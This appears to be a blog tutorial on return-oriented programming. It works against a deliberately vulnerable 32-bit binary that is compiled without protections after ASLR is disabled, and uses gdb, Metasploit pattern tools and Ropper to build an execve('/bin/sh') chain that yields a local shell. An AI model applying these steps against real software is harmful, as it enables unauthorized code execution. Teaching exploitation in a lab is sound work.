NX bit
Modern operating systems make use of the NX bit to mark memory pages as non executable. The CPU will not run instructions on those pages.
What this means is, if we write a payload into the memory and it’s on such non executable memory region (such as the stack), the program will crash. What we need to do is build our payload using instructions that already exist in the binary.
Prerequisites
You will need to at the very least be familiar with some form of assembly and be capable of writing basic stack buffer overflow exploits.
What is return oriented programming
Also known as ROP, we search the binary for the instructions we need (gadgets) to build our payload. The “return” part of the name is because we want to find instructions that are followed by a return statement. This allows us to build a calls by placing pointers in the correct order on the stack.
We first overwrite the current return address with the first gadget, and due to the fact that all the gadgets are followed by a return instruction, after each one it will continuously grab the next gadget from the stack.
If all works well, we will manage to run our payload without ever writing any shellcode into the application. Of course, the bigger the binary and the smaller the payload, the better our chances are.
Return to libc
A simpler variant of this technique involves a function in the program that we can use, such as system
() from libc
.
We could place the address of such a function and then its arguments on the stack, effectively creating a fake call to it. To protect against this, system libraries
are often loaded at addresses that will contain null bytes, making any attack based on unsafe string functions fail.
Setup
For the demonstration I will be running the vulnerable software on Kali Linux 2020.3. We will need to disable ASLR and compile without a stack canary.
|
|
To disable the protections:
sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
gcc main.c -o main -fno-stack-protector -m32 -fno-pie -static
We won’t be looking for gadgets manually, we will use Ropper. Installation instructions are available on their page.
Finding EIP
First, I just want to find how much data I need to overwrite EIP. I will create a pattern with msf-pattern_create -l 256
.
I will run the program with gdb and find what value EIP contains when it crashes:
(gdb) run
Starting program: /home/kali/Desktop/main
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A
Program received signal SIGSEGV, Segmentation fault.
0x35624134 in ?? ()
(gdb) info registers
eax 0xffffd200 -11776
ecx 0xf7fb0580 -134544000
edx 0xfbad2288 -72539512
ebx 0x41326241 1093820993
esp 0xffffd230 0xffffd230
ebp 0x62413362 0x62413362
esi 0xf7fb0000 -134545408
edi 0xf7fb0000 -134545408
eip 0x35624134 0x35624134
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
[email protected]:~/Desktop$ msf-pattern_offset -q 0x35624134
[*] Exact match at offset 44
So EIP is overwritten at offset 44.
Finding gadgets
Now for the fun part, we will be using a tool called Ropper to automatically find gadgets we need.
I will ask it to search for gadgets that will let me run /bin/sh
while avoiding some characters.
./Ropper.py --file ../main --chain "execve cmd=/bin/sh" -b 000d0a
After it’s done, it will have generated some code and we just need to add enough bytes to reach EIP.
|
|
If you look at the instructions closely, you will see it calls the execve system call. It places “/bin/sh” on the stack, increments EAX up to 11 (execve system call number) and executes an interrupt. Isn’t it cool?
Now we can run the exploit:
[email protected]:~/Desktop$ (python exploit.py; cat) | ./main
id
uid=1000(kali) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),117(bluetooth),131(scanner)
It worked!
If you are wondering about (python exploit.py; cat)
, it’s so the pipe doesn’t close and we can access our shell.
Hope the article was enjoyable and have fun!